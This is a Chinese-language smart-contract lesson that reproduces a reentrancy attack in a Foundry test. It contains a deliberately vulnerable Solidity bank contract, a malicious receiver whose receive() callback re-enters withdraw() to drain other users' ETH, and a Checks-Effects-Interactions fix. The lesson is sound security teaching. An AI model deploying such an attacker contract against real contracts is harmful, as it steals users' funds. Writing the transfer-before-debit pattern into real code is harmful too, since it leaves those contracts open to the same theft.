智能合约与以太坊 / 系统课时
复现提款回调触发的重入
复现提款回调触发的重入
本课使用 Solidity 和 Foundry 构造一个存在重入漏洞的提款合约,再编写恶意接收方,通过接收 ETH 时触发的回调连续提款。你将实际观察合约余额、攻击者余额、账户记账与嵌套调用顺序,理解为什么余额更新位置会决定资金是否安全。
学习目标
- 识别提款函数中先转账、后扣账的危险顺序。
- 使用 Foundry 测试复现接收方回调触发的三层嵌套提款。
- 根据调用日志与资金变化判断漏洞是否成功触发,并了解修复方向。
漏洞产生的条件
假设一个资金池接受用户存款,并使用 balances 记录每位用户可以提取的金额。用户提款时,合约需要检查余额、转出 ETH、更新记账。
危险实现把转账放在扣账之前:
- 攻击者存入 1 ETH,获得 1 ETH 的提款额度。
- 攻击者调用
withdraw(1 ether)。 - 资金池通过
call向攻击合约发送 1 ETH。 - 攻击合约的
receive()被执行,在原提款尚未更新余额时再次调用withdraw(1 ether)。 - 每次嵌套调用都读取到尚未扣减的 1 ETH 额度,于是可以重复转账。
这里的关键不是 call 本身不安全,而是外部接收方能够在当前函数尚未执行完毕时重新进入提款逻辑。Solidity 的外部调用不会自动保证业务状态已经完成更新。

编写存在漏洞的提款合约
实验使用 Solidity ^0.8.20 和 Foundry,依赖 forge-std 测试库。先创建项目:
forge init reentrancy-lab
cd reentrancy-lab预期结果:生成包含 foundry.toml、src、test 和 lib/forge-std 的 Foundry 项目。不同 Foundry 版本的初始化日志可能不同。
将以下完整代码保存为 test/Reentrancy.t.sol。其中包含资金池、攻击合约与测试入口,可以独立运行。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Test, console2} from "forge-std/Test.sol";
contract VulnerableBank {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 amount) external {
uint256 credit = balances[msg.sender];
require(credit >= amount, "insufficient credit");
// 漏洞:外部调用发生在账户记账更新之前。
(bool ok, ) = msg.sender.call{value: amount}("");
require(ok, "transfer failed");
// 使用旧额度写回,复现重复提款后的错误记账。
balances[msg.sender] = credit - amount;
}
}
contract ReentrantReceiver {
VulnerableBank public immutable bank;
uint256 public calls;
constructor(VulnerableBank target) {
bank = target;
}
function attack() external payable {
require(msg.value == 1 ether, "send 1 ETH");
bank.deposit{value: msg.value}();
bank.withdraw(1 ether);
}
receive() external payable {
calls++;
console2.log("callback depth", calls);
// 将攻击限制为三次回调,确保测试结果可重复。
if (calls < 3 && address(bank).balance >= 1 ether) {
bank.withdraw(1 ether);
}
}
}
contract ReentrancyTest is Test {
VulnerableBank bank;
ReentrantReceiver attacker;
function setUp() public {
bank = new VulnerableBank();
attacker = new ReentrantReceiver(bank);
// 测试地址获得 6 ETH,其中 5 ETH 是其他用户的模拟存款。
vm.deal(address(this), 6 ether);
bank.deposit{value: 5 ether}();
}
function testReentrantWithdraw() public {
attacker.attack{value: 1 ether}();
console2.log("bank balance wei", address(bank).balance);
console2.log("attacker balance wei", address(attacker).balance);
console2.log("attacker credit wei", bank.balances(address(attacker)));
assertEq(attacker.calls(), 3);
assertEq(address(attacker).balance, 3 ether);
assertEq(address(bank).balance, 3 ether);
assertEq(bank.balances(address(attacker)), 0);
}
}这份示例有意使用 credit 保存进入函数时的额度。三个嵌套调用都会读到 1 ETH,并在返回阶段将记账更新为 0。这样可以明确区分重入漏洞和 Solidity 0.8 的整数下溢检查:如果改成每层返回时直接从当前 balances 扣除 1 ETH,后续可能因下溢而整体回滚,而不是完成本实验中的资金转移。
运行测试并读取调用栈
在项目根目录执行:
forge test --match-test testReentrantWithdraw -vvvv预期输出(节选,编译与 Gas 信息因环境不同而变化):
[PASS] testReentrantWithdraw()
Logs:
callback depth 1
callback depth 2
callback depth 3
bank balance wei 3000000000000000000
attacker balance wei 3000000000000000000
attacker credit wei 0-vvvv 会提供更详细的执行轨迹。查看其中的 VulnerableBank::withdraw 与 ReentrantReceiver::receive 调用,可以发现第二次 withdraw 发生在第一次 withdraw 返回之前,第三次又发生在第二次返回之前。
注意,EVM 的普通外部调用是同步执行的。这里不是三个线程同时提款,而是一个调用栈不断向下嵌套:只有最深层调用完成后,外层函数才会继续执行尚未完成的记账语句。
测试场景的资金变化如下:
| 阶段 | 资金池 ETH | 攻击合约 ETH | 攻击者可提款额度 |
|---|---|---|---|
| 其他用户存入后 | 5 | 0 | 0 |
| 攻击者存入后 | 6 | 0 | 1 |
| 第一次转账后 | 5 | 1 | 1 |
| 第二次转账后 | 4 | 2 | 1 |
| 第三次转账后 | 3 | 3 | 1 |
| 全部调用返回后 | 3 | 3 | 0 |
表中的前三次转账后额度均为 1 ETH,是因为对应的 withdraw 调用尚未走到扣账位置。最终攻击者总共获得 3 ETH,其中 1 ETH 是自己的存款,额外获得的 2 ETH 来自资金池中其他用户的资金。
为什么三层递归没有失败
Solidity 的 require 检查针对每一次函数调用分别执行,但所有调用共享同一份合约存储。
第一次提款读取 credit = 1 ether 后,在执行外部转账期间暂停;第二次提款重新读取存储中的 balances[attacker],此时仍然是 1 ETH。第三次也一样。
三层调用依次返回时,每层都执行 balances[msg.sender] = credit - amount,将各自保存的 1 ETH 减去 1 ETH。由于每层写回的都是 0,不会发生整数下溢,也无法阻止之前已经发生的三次转账。
本测试还满足两个必要条件:资金池有足够的 ETH 支付三次提款,恶意接收方的 receive() 可以通过外部调用再次进入同一个提款函数。若资金不足,转账可能失败;若接收方没有递归逻辑,则不会出现本实验的重复提款。
定位漏洞并确定修复方向
审计提款函数时,优先定位所有外部交互,再检查相关状态是否已经更新。对本例而言,最直接的修复是 Checks-Effects-Interactions(CEI)模式:先检查,再扣账,最后转账。
下面是替换 withdraw 函数的修复片段。它依赖前面 VulnerableBank 合约已经定义的 balances 映射。
function withdraw(uint256 amount) external {
uint256 credit = balances[msg.sender];
require(credit >= amount, "insufficient credit");
// 先消耗提款额度,再允许接收方执行代码。
balances[msg.sender] = credit - amount;
(bool ok, ) = msg.sender.call{value: amount}("");
require(ok, "transfer failed");
}修复后的预期行为:第一次转账前余额已经扣为 0;攻击合约在第一次 receive() 内尝试第二次提款时,require 因额度不足而回退。由于攻击合约没有捕获失败的外部调用,整个交易也会回退,测试中原先断言攻击成功的用例将不再通过。
如果资金池需要支持复杂的跨函数操作,还应评估 OpenZeppelin ReentrancyGuard 的 nonReentrant 防护,并审查所有共享状态的入口。重入锁属于额外保护,不能代替正确的状态更新顺序。
可以进一步将攻击合约的 receive() 修改为尝试调用另一个共享记账状态的提款入口,观察修复单个函数是否足够。判断漏洞的验收依据应当是实际资产与账本是否守恒,而不只是交易有没有成功或有没有抛出异常。